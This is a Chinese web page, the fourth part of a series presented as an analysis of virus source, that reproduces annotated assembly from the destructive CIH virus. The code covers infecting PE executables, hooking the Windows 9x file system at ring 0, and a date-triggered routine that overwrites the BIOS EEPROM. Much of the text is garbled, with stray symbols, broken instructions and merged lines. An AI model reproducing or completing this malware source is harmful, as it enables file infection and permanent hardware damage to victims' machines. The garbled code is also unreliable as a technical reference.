push eax ;塊表大小
push edx ;edx為病毒代碼塊表的偏移
push esi ;緩衝區位址
push;大小
inc ecx
push ecx ; Save NumberOfSections+1
shl ecx, 03h ; add ecx, eax
add ecx, edx ;ecx+檔案的正文的偏移
sub ecx, (SizeOfHeaders-@9)[esi]
not ecx
inc ecx ;。pushx
xchg ecx, eax ;ecx為圖塊表大小
mov eax, (AddressOfEntryPoint-@9][esi] ;入口RVA位址
add eax, (ImageBase-@9)[esi]
add eax, (ImageBase-@9)[esi] 裝入基底] ], eax ;保存裝入後實際的入口位址
;未用空間和病毒第一塊大小比較,如果小於就只設感染標誌
cmp word ptr [esp], small CodeSizeOfMerfMerrusc]
; 讀取所有病毒塊表
mov eax, ebp ;讀的功能號
call edi ;讀塊表到esi(@9處)
自壓; ,
;病毒不會感染。 pop ecx 讀4位元組
push edx
mov edx, (SizeOfScetionTable+PointerToRawData-@9][ebx]ŀ
add edx, 12h ;加10h+2h( 10h處為"WinZip....")
call edi ;讀4字節到esi
;判斷WinmpzippZnes,若是就不設定感染標誌」
je NotSetInfectedMark
pop edx ;edx指向區塊表在檔案中首址
布塊空間大小; TotalSizeOfVirusCodeSectionTabl
pop ecx ; ecx = NumberOfSections+1
push edi
add edx, ebp ; ebp為區塊表大小
push edx ;檔案指標
🀜 〜p)資料圖 pebS 區」 ush ebp ;緩衝區位址
; 設定第一個病毒程式碼區塊的大小
lea eax, [ebp+edi-04h]
mov [eax], ebx
push; 設定第一個病毒塊大小的第一塊病毒塊類
add edx, edi
push edx ;檔案指標
lea edi, (MyVirusStart-@9)[esi]
push 不同緩衝區位址為版本🀜 接NewAddressOfEntryPoint-@9)[esi ], edx ;儲存新的程式入口(病毒正文)
; 設定初始資料
lea edx, [esi-SizeOfScetionTable] ;edx
jmp StartToWriteCodeToSections
;寫訊息到病毒塊
LoopOfWriteCodeToSections:
〜、x, SizeOfSceTablec3)[ ;ebx為此區塊表項的SizeOfRawData(區塊大小)
sub ebx, (VirtualSize -@9][edx] ;減去VirtualSize等於此區塊未使用空間
jbe EndOfWriteCodeToSections
push ebx ; Sizes
『 ax], ebx ;寫入病毒塊表
mov ebx, (PointerToRawData-@9)[edx] ;ebx為塊的物理(實際)偏移
add ebx, (VirtualSize-@9)[edx] ;加上VirtualSize
push ebx ;ebx指向該塊未用空間的文件指針
push edi ; 緩衝區位址
mov ebx, (VirtualSize-@9)[ , (ImageBase-@9)[esi] ; ebx為此區塊裝入後的實際位址
mov [eax+4], ebx ;儲存到病毒區塊表中
mov ebx, [eax ] ;該區塊未使用空間大小(H〠〠〠) edx], ebx ;加到該區塊表項的VirtualSize
;改該區塊表項的區塊屬性(改為可讀,並包含初始化資料)
or (Characteristics-@9)[edx], 4000 ;開始寫程式碼
StartToWriteCodeToSections:
sub ebp, ebx ;病毒大小-病毒塊大小
;如果小於(病毒插入完畢)就設定病毒塊表結束符
jbe SetVirusCodeS
;寫入程式碼結束
EndOfWriteCodeToSections :
loop LoopOfWriteCodeToSections
OnlySetInfectedMark:
mov esp 1 ;傳染的文件的程序
;不設置感染標誌
NotSetInfectedMark:
add esp, 3ch
jmp CloseFile ;轉到CloseFile處
;設定病毒塊表和標記
SetVirusCodeSectionTableEndMarkMark:
5;調整病毒塊代碼🀎 〜8〜) h], ebp
;設定塊表結束標誌
xor ebx, ebx
mov [eax-04h], ebx 🀎2 eax, (LastVxdCallAddress-2-@9) [esi] ;上一個呼叫Vxd指令的位址
mov cl, VxdCallTableSize ;所用Vxd呼叫的個數
axP.LoopOfRecv]還原成「int 20h」的形式
;從VxdCallIDTable取出Vxd調用的id號放到edx
mov edx, (VxdCallIDTable+(ecx-1)*04h-@9)[esi]
mov [ax+20, 201]
;VxdCallAddressTable中放著各個調用Vxd的指令地址之差
movzx edx, byte ptr (VxdCallAddressTable+ecx-1-@9)[esi]
〠
〠)
〠
loop LoopOfRestoreVxdCallID ;還原其他的呼叫
; 把病毒程式碼寫到檔案中
WriteVirusCodeToFile:
mov eax, dr1 ;dr1為前面所保存的檔案〔105〜句柄
mov edi, [eax] ;edi為保存在堆疊中的IFSMgr_Ring0_FileIO呼叫位址
;循環寫入
〠子段的偏移病毒碼〠〠二號 jecxz SetFileModificationMark ;到病毒偏移零為止
mov esi, ecx
mov eax, 0d601h ;寫入檔案功能編號(R0_WRITEFILE)
pop edx ; edi ; VXD呼叫IFSMgr_Ring0_FileIO,寫檔案
;依序寫入各段病毒程式碼、病毒塊表、新的
;文件塊表、新的程式入口、感染標誌
jmp LoopOfWriteVirusCodeToFile
pop ebx
pop eax
stc ;設定進位標誌
pushf ;標誌位入棧
ax. , eax
mov ah, 0d7h ;關閉檔案功能號
call edi ; Vxd呼叫IFSMgr_Ring0_FileIO關閉文件
popf
pop esi
jnc IsKillComputer ;若進位標誌為0,就轉向KillComputer
eb
mov ax, 4303h
mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime+2-@7)[esi]
call ebx ; Vxd呼叫IFSMgr_Ring0_FileIO,修改檔案的最後修改時間 🀜 〜〜〜〜〜〜〜〜〜〜〜〜〜〜〕 isableOnBusy:
dec byte ptr (OnBusy-@ 7)[esi]
; 調用原來的FileSystemApiHook
prevhook:
popad ;恢復所有鉤針🀎
jmp [eax] ;跳到原來的鉤子去執行
pIFSFunc:
mov ebx, esp ; ebx指向esp以獲得FileSystemApiHookFunction的參數位址
push dfword ppush dpush dipi+20 call [ebx+20h+04h] ;調用pIFSFunc FSDFnAddr
pop ecx
mov [ebx+1ch], eax ;修改eax的值
🀅mp 〜值〜值『 x+20h+04h+04h], 00000024h
jne QuitMyVirusFileSystemHook
;獲得在DOS模式下的文件的修改日期和時間
;獲得在DOS模式下的文件的修改日期和時間
ax ;獲得在DOS模式下的文件的修改日期和時間
ax vmov (FileModificationTime-@6)[esi], eax ;保存取得的文件時間及日期
;退出病毒程式
QuitMyFconFileSystem ;退出病毒程式
QuitMyHookFileSystem ret ;從病毒設定的檔案鉤子程式中退出
; 破壞計算機BIOS
IsKillComputer:
;從BIOS CMOS取得當前日期
mov al, 07h㠀
xor al, 26h ;判斷是否為26號,
;如果是調試程序,則轉向DisableOnBusy
IF DEBUG
jmp DisableOnBusy
ELSE
jnzHisableBusyEND ELSE
jnzHisableBusy」
;開始破壞BIOS EEPROM *
mov bp, 0cf8h
lea esi, IOForEEPROM -@7[esi]
;顯示000E0000 - 000EFFFF 位址段的BIOS頁面,共64KB
mov edi
call esi
;顯示000F0000 - 000FFFFF位址段的BIOS頁面,共64KB
mov di, 0058h
dec edx ; and a0fh
mov word ptr (BooleanCalculateCode-@10)[ mov word ptr (BooleanCalculateCode-@10)[]], 0f word 〟
; 顯示BIOS中額外的000E0000 - 000E01FF段的ROM數據,共512個字節
;和可寫的BIOS塊
lea ebx, EnableEEPROMToWrite-@10[esi]
ax mov e〠 ebx
mov byte ptr [eax], 60h
以上就是病毒程式原始碼實例剖析-CIH病毒[4]的內容,更多相關內容請關注PHP中文網(www.php.cn)!